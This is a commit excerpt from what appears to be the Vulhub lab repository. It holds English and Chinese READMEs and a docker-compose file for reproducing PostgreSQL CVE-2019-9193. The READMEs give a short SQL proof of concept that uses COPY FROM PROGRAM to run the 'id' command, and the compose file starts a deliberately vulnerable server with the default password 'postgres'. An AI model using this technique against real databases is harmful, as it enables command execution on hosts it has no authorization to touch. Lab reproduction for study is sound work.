first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 217 KiB

View File

@@ -0,0 +1,34 @@
# PostgreSQL Arbitrary Command Execution with Admin Privileges (CVE-2019-9193)
[中文文档](README.zh-cn.md)
PostgreSQL is a powerful open-source relational database system. A "feature" exists in versions 9.3 through 11 that allows administrators or users with "COPY TO/FROM PROGRAM" privileges to execute arbitrary commands on the system.
References:
- <https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5>
## Environment Setup
Execute the following command to start a vulnerable PostgreSQL 10.7 server:
```
docker compose up -d
```
The server will start and listen on the default PostgreSQL port 5432, with default credentials postgres/postgres.
## Vulnerability Reproduction
First, connect to the PostgreSQL server and execute the following proof of concept:
```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
```
The `FROM PROGRAM` statement will execute the `id` command and save the results in the `cmd_exec` table:
![](1.png)

View File

@@ -0,0 +1,32 @@
# PostgreSQL 高权限命令执行漏洞CVE-2019-9193
PostgreSQL 是一个功能强大的开源关系型数据库系统。在9.3到11版本中存在一处"特性",管理员或具有"COPY TO/FROM PROGRAM"权限的用户,可以使用这个特性执行任意系统命令。
参考链接:
- <https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5>
## 环境搭建
执行以下命令启动存在漏洞的 PostgreSQL 10.7 服务器:
```
docker compose up -d
```
服务器将在默认的PostgreSQL端口5432上启动并监听默认账号密码为postgres/postgres。
## 漏洞复现
首先连接到PostgreSQL服务器并执行以下验证概念POC
```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
```
`FROM PROGRAM`语句将执行`id`命令并将结果保存在`cmd_exec`表中:
![](1.png)

View File

@@ -0,0 +1,8 @@
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres